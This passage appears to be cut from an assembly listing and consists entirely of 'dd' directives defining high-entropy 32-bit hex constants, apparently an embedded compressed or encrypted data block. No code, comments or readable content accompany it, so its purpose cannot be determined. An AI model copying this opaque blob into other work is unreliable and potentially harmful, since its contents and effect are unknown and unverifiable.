6AE5E39Ch, 48FEE091h dd 1F090781h, 4848EA6Eh, 321DB47Fh, 5030345h, 0F840DE41h dd 0D0CB26h, 6CE1AC57h, 5AAB9982h, 202F4426h, 982C9025h dd 27A30388h, 0F628DD54h, 1856F5BBh, 179300A0h, 0BBE15EA7h dd 0C210362h, 0BD2796DBh, 9FDC2888h, 0CE52B718h, 4A644208h dd 376C201Ch, 7A052B62h, 0CEA9869Dh, 0A6C96491h, 618A2508h dd 0F315CC98h, 4BE20084h, 72B77B3h, 8D840B67h, 0D8420466h dd 3CA98471h, 62F9A480h, 16512758h, 964FD6Dh, 6470DD80h dd 0A1701D25h, 8E725168h, 4F71E833h, 97EC047Ah, 0FA7E2184h dd 12208611h, 1E4CD960h, 3973C035h, 79B6F38Ah, 0F082A700h dd 0FAC2CE93h, 25F67B77h, 2B9E30h, 88A9F823h, 0C068E8ECh dd 0E76DEBADh, 72230335h, 969B0180h, 0E6CEFAC0h, 0CC7FD62Ch dd 1C68D70h, 8FAFD9F6h, 234E879Bh, 4BEB2228h, 49C480E6h dd 989048F1h, 96F9F620h, 33A34010h, 0A2026B78h, 387F90B8h dd 2C045907h, 0E3DE1394h, 105C48F0h, 5F8CA979h, 4D0244E1h dd 0DE4708BAh, 31E4904Fh, 80F154A8h, 85D9296Ch, 5D3F44E4h dd 7A8441C1h, 0A091A94Ah, 0E1D6002Ah, 8915DC9h, 88510240h dd 9075F7D9h, 7C67E098h, 5C441C28h, 525C5A0Bh, 61681973h dd 0AB435308h, 0AD092F22h, 38A48BF2h, 57C528Ch, 7A1C5A46h dd 5CECB4E9h, 1C709E5Fh, 0B4DB77h, 0E6E923D7h, 6EFFB225h dd 0F52BD09h, 0C6A440FDh, 0C06382F7h, 0BCE0DBC2h, 6638461Ah dd 41F08907h, 0D0F19Dh, 0C0BF0E1Ch, 0A82E44E9h, 87885C4Dh dd 59974484h, 0CE1334C8h, 0C286A3B8h, 69009B98h, 39B96E48h dd 4ED21A7h, 41670979h, 80ECF83Bh, 6983BD7Fh, 70ED01BBh dd 0DAAE43C7h, 1705EC0Dh, 70B8DC98h, 22A43D22h, 5112F858h dd 6C888F73h, 0CE7B248Eh, 0C88B10A4h, 1844A8AFh, 49C3BD86h dd 5491A65Ah, 9422A192h, 3C72F7h, 9766F143h, 4E2F08Fh dd 0E2D6503h, 883BF2F3h, 3C7A7DCh, 1F4F6648h, 92599F0h dd 3E4446Dh, 7D7E081h, 9821D6B4h, 5B391AFh, 0D382F76Ch dd 14218A4h, 1566698Ah, 20466D7Ch, 174E2E9Ch, 789C300Ah dd 0BE3FC401h, 3AD0ABDBh, 60700912h, 0DE001F03h, 0D478FC83h dd 9AF4670Ch, 3F531040h, 1859E277h, 86B39444h, 0B006BC20h dd 17024438h, 128CDB48h, 4004D31Ah, 1CC8FE18h, 617883h dd 9E8FC833h, 3D80EB82h, 0E1E690F6h, 427EA221h, 0E0411A55h dd 0B9280C75h, 4C07003Ch, 11A2190Eh, 3C00467Dh, 5AA063EFh dd 94235360h, 44443D40h, 7EF49097h, 1BF0093h, 851C4C47h dd 5A728808h, 917F7502h, 4570D7EAh, 4CC42514h, 2720AB1Eh dd 64086813h, 8A2E646Eh, 0AD120FB4h, 5D772322h, 15429084h dd 4BA30021h, 6309884Fh, 59C7A8FFh, 41C09557h, 79D1F0C0h dd 8E82007Ah, 272C98C5h, 0AC0104D6h, 1FDC7D06h, 0FC452DCBh dd 20106CA0h, 6678203Ch, 0C1F63105h, 0B4A28EA5h, 4E77D494h dd 0B8B8C8BFh, 8837A800h, 0DDB3517h, 2F540163h, 4C5BE083h dd 9FE4247Bh, 9B14286h, 6867305Eh, 2C34CB8h, 4AC84660h dd 0F0DC8D86h, 820B7022h, 80E0B681h, 0A00884B4h, 1824007Fh dd 0F1C54E39h, 523DAE6Eh, 412A48Eh, 0C667A562h, 595D00B4h dd 3F99A8BCh, 3D139E12h, 1CC84F52h, 2F018547h, 3B6D7F27h dd 0C19F6C0h, 0CB632491h, 0E6386C38h, 8CAA0294h, 74CFB665h dd 0DA330A0Ch, 3AE5629Ch, 0D200FC79h, 5C147FFh, 12410481h dd 0C06C32E3h, 0B8F62017h, 385DF726h, 0ECC05544h, 8934A5AAh dd 4550085Bh, 805438C2h, 97EFB15Ah, 4370133Bh, 756404DBh dd 6BD803BCh, 0C546FB1Dh, 1FDE8C0h, 362702E6h, 0FE5E56F0h dd 0A1852854h, 7D84DD11h, 949044A8h, 79913B21h, 44663114h dd 0AD102C48h, 4A7080E6h, 0CA8E5E77h, 85E80188h, 0A7FF6F1Dh dd 667D00ECh, 44EADF9Dh, 0E6EF00D2h, 80F49C8Bh, 8E05938Fh dd 1C7EE538h, 66B5EC31h, 64512050h, 134B0F4h, 2D42C26Fh dd 70B701E6h, 5538D597h, 85B0895Eh, 20E4C4E3h, 0F0B4FA61h dd 725B0049h, 13F2B3ADh, 53613252h, 0BCA44A1Ch, 9EC950B8h dd 5AB1E097h, 83D60479h, 0A8C288BEh, 0E74384D8h, 49DC9F44h dd 5484E8F7h, 1E720589h, 0C0654713h, 5AA130A9h, 0C80BDC24h dd 0A0E427h, 7D481A40h, 4132DE52h, 0CEFC7C07h, 6AF48F50h dd 744834E7h, 0F1C4D33Eh dd 0FBE0D750h, 89166E42h, 0BE909CE6h, 0D4FCA1F2h, 5634B703h dd 0FEB60EC4h, 723B3B04h, 46836AEh, 223C6EF7h, 431D2226h dd 2C7CA492h, 0A21C59C0h, 92A94B1Dh, 0F7220E14h, 1028F98Bh dd 63558256h, 242C44FEh, 48F3F9h, 5C4D020Dh, 15390586h dd 69540258h, 6859268Eh, 9A4E2C64h, 408055DCh, 66C02872h dd 72B8238Dh, 0C0263CB8h, 0AB90545Dh, 11D8E9DFh, 260D01C9h dd 577AC7Dh, 5EC0F6C4h, 0E380411h, 21C05D3h, 45F70CEh dd 22A96D84h, 6CE62B81h, 80001EF8h, 0B010F46Ch, 17B8869Eh dd 83421BEh, 44A706A8h, 0F4A52EA8h, 850D00D5h, 60980739h dd 937D9700h, 0EFED3469h, 0C8524A31h, 18C7994h, 1B9E1C7Fh dd 0C08302A8h, 2D003DF7h, 5AC700Dh, 341FB2Eh, 6411664Ah dd 0A8B0A050h, 0F90368E5h, 0EED23545h, 6D2FB0F8h, 69DB0551h dd 4443B2B6h, 2283D3A4h, 112C597Ah, 65227C3Ah, 47F75AA8h dd 0B0C2282Ch, 92046D95h, 0EC1AC407h, 8C903D97h, 5A785AABh dd 880C043Ah, 0F0D84AE9h, 563E9F3Eh, 0DA04C3DCh, 0FF808339h dd 42B9365h, 1C7AB6F0h, 80BCB25Bh, 5E9B3EBDh, 970A09D4h dd 0F87AEBA7h, 1519E300h, 2170801Dh, 6B2600CFh, 0E11F40B8h dd 0C2118799h, 0FD2DFA3Dh, 0A652E098h, 4CD9F788h, 880549B5h dd 0B2030FFAh, 15C8C8CCh, 8978288Eh, 0F392015Eh, 2C75DA10h dd 9C88904Bh, 0C1EA1D20h, 6880AD9Ah, 0D10A6B0Fh, 9E480A0h dd 0B64DD705h, 0A4CC7AB7h, 84A33C6Dh, 9C81FF0Fh, 0FC4BA060h dd 0B2143F0Ah, 21E02A8Eh, 4E6A91BFh, 46D8C820h, 9B380B26h dd 0D882D69Dh, 0EB05F9BAh, 0EA54F4h, 0B7C65AACh, 48E0F7D8h dd 40254EF6h, 22B89439h, 60000C4Ch, 1F020E45h, 79B4998Dh dd 618E2566h, 45BDF821h, 0D4DCE997h, 0AF03A2CDh, 6CD90441h dd 646DA11Ah, 12C9ECE4h, 9158F401h, 2286F7ACh, 2C0E6018h dd 26CDE70Fh, 611482F6h, 0A59685B1h, 0F09C19C9h, 3C116060h dd 40E4FBB9h, 3888220Ch, 2084ED16h, 0DD2DF939h, 9D889184h dd 0F884850Ch, 2CD491A1h, 0ECDB018Ch, 2C3D6F9Eh, 720B14C8h dd 100324C8h, 0F713DC11h, 4428928Ch, 98A81055h, 8BA50029h dd 605F0887h, 0F01F422Ch, 0E4891796h, 8A6890F4h, 1EEE1C52h dd 774B0C5Dh, 6700F8AAh, 5AAA18D9h, 482F2D2Eh, 80DC38CDh dd 50A42CEAh, 0AD6217FEh, 2B364EC9h, 95E0741Bh, 0AD005201h dd 797A5062h, 2A9E76h, 0DD27B402h, 28C77B45h, 0E8F65325h dd 5B9788h, 8A15DF2h, 0B78D404Dh, 0FA802100h, 71A78B8Fh dd 0F5D22C56h, 2422BC68h, 0E7738211h, 0F400896Eh, 4C341DA4h dd 1F25FCB0h, 22D0BB72h, 64F81EB8h, 0C828A445h, 2A894C80h dd 8E00F581h, 0DA6987E8h, 40E2F35h, 0F10A86FDh, 90F268h dd 3C487DCh, 0B5E8Ch, 5F8F8E09h, 0EA30559Bh, 12741DEEh dd 5CE13B20h, 800FCDBh, 11784C76h, 4E1F7089h, 31C1666Bh dd 0B986E13Dh, 65E5F0h, 0EC22D1C7h, 6DDA0B37h, 0E402797Ch dd 1C42078Dh, 46BCC659h, 20713ADh, 80390C3h, 0CD208521h dd 48D0FF12h, 20D46DC2h, 2A21A1BFh, 2F453F3Bh, 0FCD98038h dd 864A037Ch, 0A24578F4h, 9F1E49E0h, 0D491BC00h, 65AE7467h dd 7B4E001Bh, 0D060CBE7h, 605CE0Ah, 0F6EF8F63h, 209284FAh dd 37D1FBB8h, 4421D507h, 28D030D0h, 0F5C59Ch, 0DB94878h dd 0C76D461Ch, 8413C079h, 0D820E888h, 3F8219DEh, 7A007C0Eh dd 0F0CB4C6Ch, 8B789F21h, 92B21617h, 24BFFC81h, 60884A08h dd 0D7EC03A0h, 828965AFh, 3C6CB026h, 4201AB60h, 121300CFh dd 0BC4FA51Ah, 0FE07474Bh, 393195Ch, 0C4604202h, 0A5A2002Ch dd 310848C7h, 6209267Bh, 48AB9FFEh, 8BE88C94h, 1CDA95E8h dd 0E443F425h, 1020B440h, 885ECBF5h, 0AEC0DC18h, 2F3F841h dd 67864C36h, 4603157h, 0A59F60C8h, 0D40FFFD4h, 0DAC0FEA9h dd 3908ABF1h, 0C01401BCh, 0C3EBD83Fh, 47589FF6h, 0D6699D41h dd 852BE4BBh, 3194877Ch, 30637328h, 41143CCCh, 8B545E1Ch dd 8248037h, 0FA1F83h, 2BB6003h, 0CFA42F7Ah, 0D0969713h dd 7400FCE2h, 3F9462E9h, 0C001B248h, 0AF2DD180h, 71F8D5A9h dd 4083BF70h, 75C0F02Fh, 8400F894h, 25D98331h, 580C32D2h dd 0CE256858h, 7628A410h, 7B068001h, 38810799h, 12CB21D8h dd 220C87F6h, 8920BF78h, 3E995h, 16EF72D0h, 0BE60A841h dd 0A3928704h, 0CA16DC26h, 46650010h, 4A242237h, 9567001Dh dd 0BAEDBCADh, 5C00F907h, 0E6EAA5F6h, 60D9CDh, 0F14B8FDBh dd 8329C548h, 8AB94A00h, 0D86A5C55h, 0F85FE70h, 8D1815F4h dd 301DEBA0h, 43000561h, 62428CD5h, 17BC3EEh, 7A145802h dd 3A04A93Dh, 57BE0020h, 3AD67B99h, 41728025h, 1AA879BAh dd 0F98879C2h, 35FF0038h, 583198B1h, 1701F477h, 550C1478h dd 81452FEEh, 21627830h, 96E695h, 0C773684Fh, 0B7F25502h dd 0B3373A2Ch, 0D8011F01h, 3C600C80h, 4462EF87h, 83524200h dd 75D9D1B3h, 84407F4Fh, 0A815F991h, 0E3B5FB0h, 0E9ABB960h dd 7E31060h, 0DA8CEE1Fh, 66002C24h, 0AB4E76FCh, 0C8790091h dd 380EAE6Ah, 7818C5E7h, 67116810h, 29776214h, 78D93051h dd 4E4C10AFh, 38070085h, 0CEC5524Dh, 566913B7h, 0ADB08768h dd 0A2A39FE0h, 57D5098Bh, 40645EAAh, 0A74CAF00h, 0CC2D0E65h dd 9949009Eh, 0ABBBECE8h, 0EF338C78h, 0C06F2845h, 1EBF2183h dd 14D103DCh, 85E08C3h, 0E0AFCC98h, 2427E5CCh, 0C3A81D24h dd 88F29A3Dh, 389180DEh, 8F9F3112h, 5BB203E4h, 3DB75230h dd 0DD94C421h, 630CC8FDh, 9019A9FEh, 0E3E93500h, 7C5866ABh dd 0A25E00FDh, 4D680534h, 5170AE1Eh, 6FEFAEB8h, 0C1461822h dd 8C72B232h, 5BBE9E11h, 0CD38C8h, 1820A524h, 1EABFD12h dd 22F495Ch, 0B745868Fh, 0E020E4F2h, 526D3F03h, 0A5769509h dd 59C37C56h, 50E9B8AEh, 8F1B0180h, 986DAFD5h, 0CBD830EBh dd 0D4F40600h, 5030C6C1h, 423C9EBCh, 9420E88Ah, 1266D92Ch dd 0A205A08Ch, 0E6CE00ACh, 55847CF8h, 0A3000B3h, 7149AC42h dd 0EB2FD98Eh, 7BEC2072h, 3DE379h, 0AA6251B0h, 0F1BC6852h dd 60E6DA02h, 71F9551Ch, 47443D74h, 744EDE28h, 81DFF080h dd 0CE465A00h, 716930B2h, 0C0A49407h, 2D3958ADh, 85C72304h dd 0E48D49F3h, 7070882Eh, 7C958201h, 4F52C91h, 3F69FE0h dd 0CA812834h, 0C2F898CEh, 0E42D0AA0h, 1DE4112Ah, 4F18C468h dd 0A3EEC98Ch, 0F4DAF024h, 0F383EA60h, 5CEB00F1h, 8A109E7Ch dd 2F244493h, 40047027h, 0C80C62Ch, 4577DDE0h, 80587833h dd 0F2930C16h, 0AC600FAh, 0F926DBB3h, 649165ADh, 0F1CBF70Ch dd 0D87EFBh, 0B2F03FA5h, 0EDE1B67Eh, 1B878101h, 27E05A9Eh dd 48BCC0A0h, 0C3C00CCFh, 0DC357376h, 780CD009h, 0F53C8495h dd 24FAEB0Bh, 9E04B8B5h, 7811B7FAh, 0D8F0508Fh, 0FE001F69h dd 8BAF2035h, 0A267DEh, 0E06D3818h, 0C472A683h, 0DCC16212h dd 0F8F8C034h, 0FAF1009Dh, 0AA55D873h, 4392B100h, 19D1F635h dd 4BEF0074h, 42833EF5h, 2B2E44B9h, 7031530h, 0A0C559F0h dd 0AA19B43h, 4ADDF264h, 0ACB358A8h, 6355ED00h, 0F8BD943Ch dd 4E4D0727h, 433DA0F1h, 0C191C53Eh, 0E6118EEFh, 0B1B4BC4h dd 0E82CF2FAh, 24100006h, 0A3AC2BE2h, 0CA044404h, 65313B78h dd 8C4A24CCh, 8AF62212h, 66441090h, 0C4830132h, 0F34D4A8Ch dd 0C2AC3C8Fh, 0D0A0F803h, 0EA552F3Ch, 7B5324E9h, 763ADB0h dd 6DAE6C2Ch, 983CF4B3h dd 8A001204h, 0BCF0C853h, 71C1DB9h, 0AFAA3893h, 0EDDA3530h dd 7E8F89E8h, 0F1540828h, 6D8060A9h, 754AB072h, 0A0389878h dd 0B8546912h, 3E7F0033h, 4D868C79h, 0BA09F69Eh, 50306FAh dd 0CAC63C8h, 833EB98Eh, 0A4310CD9h, 3F4DE5E8h, 101E3EE2h dd 7AC06679h, 0D9CF8103h, 0DCA40C2Dh, 17812B85h, 0A58CFE25h dd 4C0B8328h, 25D49860h, 1A2F2F71h, 0EF9C8CC0h, 0B0600541h dd 25800BDh, 18A13C9Fh, 654C85D8h, 0F7DB828Ch, 0BC1055AFh dd 0CC9984DEh, 0D7F0F028h, 0E04EEB2Dh, 440284h, 0D13F497Ch dd 0E9E41C04h, 4575D804h, 0AE8A42h, 5A27A934h, 0C00BCB8Eh dd 10A55BF6h, 0AC21B48h, 11EBD816h, 0B34D0538h, 3580CC22h dd 1C1FCE58h, 0D400A759h, 0E02E6F8Fh, 783A7A79h, 0F830BDCh dd 80F57D2h, 0EF8280F4h, 90557ABFh, 7E82308h, 0F765499Dh dd 61B4C114h, 7C42904h, 832EE495h, 630B32C1h, 0C84AC036h dd 0F50278E8h, 99942EB6h, 59104891h, 8C558898h, 88A630B1h dd 2C4A0908h, 0D51188h, 6443DE73h, 5D1E966h, 818F768h dd 0ADF405BDh, 0A320139Dh, 1EB3C04h, 16E1B44Eh, 9EF45565h dd 95C990Ah, 0A01983F7h, 0D890DEDEh, 8E00A9ADh, 6008DA34h dd 6653F8h, 224BBFF9h, 2FF3A1D8h, 8249B809h, 0EB4882A9h dd 330B223Eh, 8E758340h, 23192901h, 474331B9h, 4B790826h dd 603C8D52h, 7200E5A0h, 0A17F9D25h, 270838EEh, 0C601215Fh dd 0E08324CAh, 70032662h, 47137859h, 0B1A9D0E6h, 211F0758h dd 0B57A8BF0h, 325888F5h, 28F456E4h, 700A0900h, 498EA85Fh dd 1C5E3CE8h, 0F73CD05Eh, 8F1DEAD9h, 4193A753h, 9B885088h dd 0FFEF0020h, 83F6CDE3h, 0C742E8B4h, 3092754Ch, 0A0622FC2h dd 6C40747Eh, 16BFD8E0h, 318CF784h, 283F7FC0h, 450F79B4h dd 3CB3DAh, 0FF43C5A8h, 0A9580A19h, 3E24FE5Dh, 0F64B2C00h dd 0BF0E920Dh, 614E1F00h, 87EA3AF0h, 0F2BE2D79h, 649478ECh dd 9ABFDC40h, 0F43907A8h, 0C0AE0892h, 0A1A23BA9h, 35685A12h dd 8080B8BDh, 932C64B4h, 921B0F01h, 5AAB2949h, 58E5BFE8h dd 3E1098F6h, 84DD16E8h, 847C24E2h, 0A5E1C409h, 8B208158h dd 4874B91Ah, 7CB08444h, 107E8D00h, 63583962h, 0DBA83082h dd 7AC6FF1h, 228959C1h, 812A3AB9h, 2FEA516Ch, 67E09040h dd 9D3DAD6Ah, 42AA8B80h, 1CBAA622h, 1FAF0A44h, 826FF3C2h dd 32921A11h, 10404C74h, 0EEB074h, 96615DCEh, 0D4F207BBh dd 72844109h, 0F6646108h, 8C30E710h, 2E3370EFh, 0E900B177h dd 3317D4Eh, 0A029EA23h, 0B4934Ch, 0F9EEA0AFh, 30026F6Eh dd 967F010Ch, 125778D3h, 2442405h, 624BDB9Ch, 35838C76h dd 956FC58Bh, 0FD858020h, 0E4F71D8h, 3F8190F3h, 0A106C80h dd 5DFB14A1h, 807C63C8h, 7F07438h, 0A2B14AEEh, 6E957A58h dd 0E06725F4h, 1F11D859h, 6C120858h, 2528F834h, 50E4E7h dd 2EE6DF55h, 3F74FE79h, 0A7358400h, 43FA11B7h, 8E65024Fh dd 3DC1AE4Dh, 80C00477h, 66D3B881h, 0C8B601CCh, 0E0AD0AB0h dd 0FE8627E8h, 628109E8h, 0CC7C4237h, 0FF34B1E9h, 7C00C062h dd 0B6E13180h, 6673738Bh, 0ECADA600h, 397B0582h, 214A0407h dd 0C089DA6Ah, 2C50CC60h, 0A37EAB15h, 0B4E119Ch, 0A7663113h dd 96A6108Ch, 0EDA28485h, 0F070110Ch, 0CA4F1848h, 0D17A0000h dd 7D6F3F99h, 6030007Bh, 5AAAE0B0h, 0BC900480h, 47FF5E05h dd 0D8E9F05Ch, 0ECDF8303h, 0D9853D2h, 9C00ED57h, 0A63DD98Fh dd 957684DCh, 0C39ED422h, 979DD21h, 0EF22C423h, 0F89664A0h dd 1B04A805h, 34175BD0h, 0A7D8C8h, 0CF9A7BE9h, 0A89B5944h dd 21BB4700h, 84567DE2h, 0D1E54BBEh, 3AF83A70h, 32BAD070h dd 3CEB009Fh, 92B48D2Ch, 0C6001B77h, 5264B7D5h, 0E6583862h dd 0F0934882h, 0FA62ABC8h, 0C12A04B8h, 2B366314h, 7CB7E080h dd 0A03D117Eh, 0A98BC0DBh, 897A93h, 156770DAh, 571C7BEDh dd 76893099h, 0B748908Dh, 1C612756h, 55009044h, 3D753476h dd 982D97h, 4ECF83E7h, 565E5FDBh, 1E605C04h, 0A48C3BF5h dd 19E51F8Dh, 0FE7D00F3h, 82721591h, 34A07575h, 5D08B5EFh dd 80CBF847h, 7602D30Fh, 0C6010A7Fh, 3EA7E086h, 2C50A473h dd 59DE01h, 3F4CF79h, 0F785055Ch, 149E6324h, 0AE5302C1h dd 4F38D22Bh, 9F465846h, 0C964C910h, 1C7306h, 1D25E6D9h dd 81274DF3h, 7B6CE4AFh, 0DAC5000Ch, 0A246128Fh, 42047FFCh dd 0DCE76B4Bh, 37411D05h, 0F1A3C4A0h, 0A4802ED8h, 70EF811Ch dd 62D6EC54h, 3986A9FCh, 0C8666020h, 30BE0AB1h, 1F606292h dd 45740017h, 0C52B09DBh, 0CE467B1Eh, 5C5A4E52h, 2FA86EE0h dd 14CCC192h, 0D3745848h, 5563404h, 5AC1855Ch, 987440CAh dd 0EA0304F9h, 11522701h, 0C162249Fh, 24E044E2h, 4779EBh dd 0BDE76869h, 2C0047C2h, 0F3E4BA34h, 91584678h, 0C31B9E8Ch dd 667BA688h, 8C7405B2h, 0C1B379E0h, 0E86700D8h, 45232B72h dd 0EC0E663Ch, 924BCA3h, 825C5CC2h, 38D606C7h, 30DAC70h dd 48048375h, 27DDFC24h, 10D12D4Ch, 75C37980h, 0A14B5F76h dd 803C149Ch, 49AB6484h, 42BC7CDDh, 7D2520EBh, 17CAE0h dd 0C1353097h, 0AD864CCAh, 28FB0D2Eh, 7C48CD91h, 9104416Ah dd 0F3070FF9h, 0E6F68945h, 4CF00B30h, 0A000143Ah, 1C32A818h dd 4A34035Ch, 0CB488820h, 0FA950083h, 0A3328A38h, 1200BD46h dd 33DBB192h, 4F83B09Bh, 0DD88C8DAh, 0AD5D58h, 2023619Fh dd 0A8F7032h, 4B901A51h, 444699Ch, 4065BD0Bh, 0E0C8517Eh dd 0AB3025C8h, 0D034D94Fh, 65366407h, 5D8040DAh, 2EA545BEh dd 40150460h, 952C0AA0h, 86388CD0h, 39D4D007h, 9691291Dh dd 203AF415h, 0F6CE5E94h, 21AC4353h, 805B9082h, 0B4B9BF35h dd 67271617h, 1BA600FAh, 68DE5F8Ch, 2BBD1A00h, 8B3FB948h dd 875701D7h, 0F79443FFh, 0A29C7C89h, 0E531C0CFh, 0C3B93171h dd 10D3B1E9h, 0B88A0E1Dh, 0A60700C4h, 7976F632h, 0A101FE0Dh dd 1CE65402h, 0C3D374Ah, 0F8F24Eh, 0A9524FB7h, 0F4E55h dd 0DEEF0992h, 0D685D88Fh, 6898F25Ah, 0D00B0F8Ch, 8E8F5CC7h dd 0CD81457h, 9E795E80h, 53168005h, 8CF68BA0h, 3C4DDD09h dd 0AA114C59h, 22E8F71Ch, 0F2B9D900h, 0FFE7473Ch, 716300A9h dd 10A0D0D4h, 304A6C11h, 0A04A34B2h, 3988E500h, 8AAA0E58h dd 5FC9F12Ch, 250780F1h, 0F36E5DE1h, 708468ADh, 845542F9h dd 50815FCEh, 705EF5Ah, 945EF854h, 0AF87F0EAh, 0F62D00Ah dd 0DF003870h, 30BC13ACh, 0BFFA6C53h, 0B4407030h, 0FD270707h dd 0F00ED9Bh, 0E711A9Dh, 24477770h, 9CC54E21h, 74AC2D12h dd 4C15D428h, 64C43EF1h, 8F835BBh, 5184F8E8h, 7C880A82h dd 249D1357h, 5B84888Dh, 14F86077h, 18818E4Eh, 0B3D1FE17h dd 680C851h, 2E676010h, 0A663E702h, 7AEB022Fh, 1D477EB0h dd 0C120275Eh, 0A530539h, 7E7431A2h, 0DE1C3C05h, 0DDE7A801h dd 5864EB82h, 0CAAB4B31h, 93E707B8h, 602F2EF8h, 3948BA1Ch dd 0EA507B88h, 6CB50F66h, 0C454BFCDh, 0BCF0C734h, 64D4C058h dd 70D34Ah, 0E213BA18h, 0B2A9DC5Ah, 6768ED1Dh, 8E451A7h dd 0E784D1DAh, 20FC3AEAh, 0E9CA9480h, 711F18A9h, 0AD8442CEh dd 0B890142Eh, 0F0B94A8Bh, 1F6601DEh, 6E6A5F04h, 515DF0C5h dd 0D583CC00h, 260DF103h, 0ABAD0070h, 8B3207B5h, 3B12F37Ch dd 0ECB2AA31h, 79EAFA80h, 140021A7h, 0BFAE5244h, 28115DAh dd 0C2CF20F8h, 0CFA3423h dd 78A6B300h, 3B4BDE2Ch, 9CB09DE4h, 6209E155h, 0DD386A76h dd 54A1B980h, 970FF360h, 80E9BD9Ch, 0C899723Eh, 43D50032h dd 0AF50DD3Dh, 0F0258A91h, 0DCC42Fh, 11FFB0CAh, 2070D95Eh dd 0FBD5C200h, 0F29E999Ch, 0D54045F7h, 0C8282B80h, 96C70099h dd 0DAC8EC42h, 0AE00E8CFh, 0B634691Eh, 3EB0E9D4h, 9F0E5347h dd 0B293528Fh, 14AE006Ch, 0FC5F7D8Bh, 56F2BEh, 1F6A4964h dd 3AC79DF1h, 0A0B71600h, 0D8DC2C9Fh, 38630114h, 0CF7AD96Dh dd 0A9B02C8Fh, 272AF0F1h, 0D66D60D8h, 0FC02E3DCh, 0FEBB7ABFh dd 0DC915D4Fh, 0F82D01F9h, 0B3809879h, 90AB3C2Eh, 800E9201h dd 57133A11h, 1FED8C0h, 0E616D431h, 332F4A14h, 0C122ACh dd 2EFBBA70h, 55AE7FC2h, 399F4900h, 271C59CCh, 92D04F72h dd 8310E250h, 0F8448840h, 0A3F444h, 0C29F2C74h, 0A8AABF53h dd 834AD70Eh, 6F5740EDh, 2CBAB2ECh, 4F606281h, 76E8E9E1h dd 7993FCE0h, 903A0B17h, 0CD2A0004h, 0CCCF5A45h, 0AB88E60Ch dd 0F4E70F52h, 0C140DAEFh, 6E61D00Ch, 7E334505h, 68B0497Fh dd 6474028Dh, 0D8CA4EC3h, 66CC03D5h, 464DA0FFh, 58F718B0h dd 765161FAh, 21323827h, 3ADE814Ch, 204036Ah, 89D8BF8h dd 94A0E944h, 1C735103h, 103C16Fh, 3FC27249h, 3AAAEB81h dd 8C2E08DDh, 0CD00A8F8h, 18F07450h, 14BE37A7h, 0CFAF9053h dd 0AAD82C01h, 33F96EF7h, 80704CF0h, 0D94EAD2Eh, 18A12F1h dd 735CC075h, 78270E9Eh, 2EB410C2h, 2F418405h, 55005072h dd 6E8E5EC5h, 8F00B3C3h, 97471A14h, 91F846AAh, 4080284h dd 0BE43D4BBh, 1980A1C0h, 0B74D3A0Ch, 88CC284Ah, 0DF0022EAh dd 0FB54B597h, 4BB910Ch, 0C561D7F5h, 60BCE5E5h, 4817F18Bh dd 0CCB4626Dh, 10AF0026h, 0FB5F9791h, 30029059h, 0A83E3209h dd 0E6A080A4h, 0D6311B3h, 8BF79246h, 80607F76h, 7F6F4FEEh dd 51870220h, 147C0DB0h, 1D98240h, 3EB94316h, 842FF428h dd 0E18B6678h, 4140377h, 43F85BC0h, 0E267835Eh, 0ACA4C360h dd 0A579DD44h, 22082878h, 0AFF725F9h, 225A5411h, 81EE88A8h dd 0FDFC80E6h, 6DE07B0Fh, 4F0B63Ch, 8EFF5D4h, 8F34800Ch dd 733321F2h, 42BC4101h, 0F4079FF5h, 4496C20h, 3F80461Ah dd 0FC0089C1h, 307E6C6h, 7BF854CFh, 28B24144h, 6663132h dd 7C1455h, 97593262h, 0E8F96858h, 5EB82C00h, 0D348C74Eh dd 0F7CE1175h, 34CB1EC9h, 7CC638C0h, 45EF98Dh, 0B74E0FEh dd 1828B232h, 0A131050Dh, 441C9818h, 900023CDh, 96741198h dd 4CF62078h, 0B92E4AEh, 8CF3E800h, 0AACABD80h, 280D7D3h dd 2D63972h, 15620D0Fh, 0CE0064DAh, 0BF9F1A04h, 0BADEC5B6h dd 0BB4826C4h, 9DA400D2h, 33B1A05Eh, 8E72150Ch, 1EFA1F3h dd 683F0248h, 2A9C313Dh, 30800C22h, 0FD24A0F8h, 8A16E1E3h dd 0D5B358A8h, 3F8B66F0h, 36954907h, 8E63A8h, 4E37F8D1h dd 291FE32h, 467B6244h, 0C6AB275h, 0C434837Fh, 0E06482E1h dd 22F418F4h, 0F7110158h, 440BE888h, 4462C90h, 0C9840900h dd 7A20B778h, 0CA5201EDh, 740BE6ECh, 8151033Ah, 22F3CEA2h dd 4700F5B1h, 5EAD83D4h, 310312Bh, 0D01150ABh, 0A0F54466h dd 56096290h, 10A482AFh, 8F59A4h, 0A68B6507h, 4B7B477Ch dd 32451C0Fh, 4E94B46Bh, 0A0E50840h, 75C7ECE7h, 0E2424F4Fh dd 3222C0h, 0C91C8A2Bh, 31E0F1F4h, 0CF4D5609h, 0FA8C00CAh dd 0B53593FDh, 3D0248C4h, 0F794418Bh, 0BA0F185h, 0B8101D6Ch dd 0D500A983h, 0F0281CFDh, 64018260h, 8C9411D3h, 8C0010ACh dd 846FB083h, 916F0C5h, 0AE8160CAh, 1D970CF4h, 510F2CE2h dd 703A82EAh, 0F140885Ch, 0A75E22h, 0BD42D608h, 18979456h dd 0EA153F04h, 6897A0A6h, 0E640CBE4h, 0DCDF0183h, 69EE3812h dd 0DE47FC02h, 4A10C477h, 827040E8h, 0B446DA74h, 5D29D512h dd 0DC3888h, 1AA492ABh, 5B639D85h, 4603F100h, 0A069714Ah dd 58E760C8h, 0CDC1F76Dh, 1C509097h, 592B0061h, 0ECB2442h dd 0C0098985h, 0BADD844h, 8D0D88Fh, 1CE8D9C4h, 60C01D9Dh dd 9AC672D7h, 0E9F80934h, 5CF873DDh, 931B9206h, 0E0C1E8DAh dd 9F60FB3h, 0B8D4F9A3h, 77ED84C0h, 5E0074B5h, 1FD24D5Ch dd 0FE63D97Ch, 20315E9Fh, 43CF7184h, 4800207Ah, 1B1F4A73h dd 4EA0907h, 9D8B94BFh, 4B5CF8CFh, 93F8A808h, 551C91FCh dd 5CE8C4D6h, 0BA720301h, 30A4C76Fh, 0D92460h, 5B798FB8h dd 4C466B5Dh, 7F5C1C16h, 0FFCF14B8h, 0E0D0A3A9h, 2CFE6228h dd 5EC65100h, 0BC3EE270h, 25790792h, 507AED27h, 8880D29Bh dd 7C533112h, 2003B8D2h, 566CEE72h, 0C0E8BB58h, 7A44EDA0h dd 478B02D0h, 9542375Bh, 942948F3h, 4E3CD480h, 11E7FCFh dd 828D5687h, 0C8C17ADEh, 3908638Bh, 80CF0E35h, 0BED2C979h dd 0E6125637h, 0EB1877F2h, 12CC2C11h, 0ACC1864Ah, 8C84ECCh 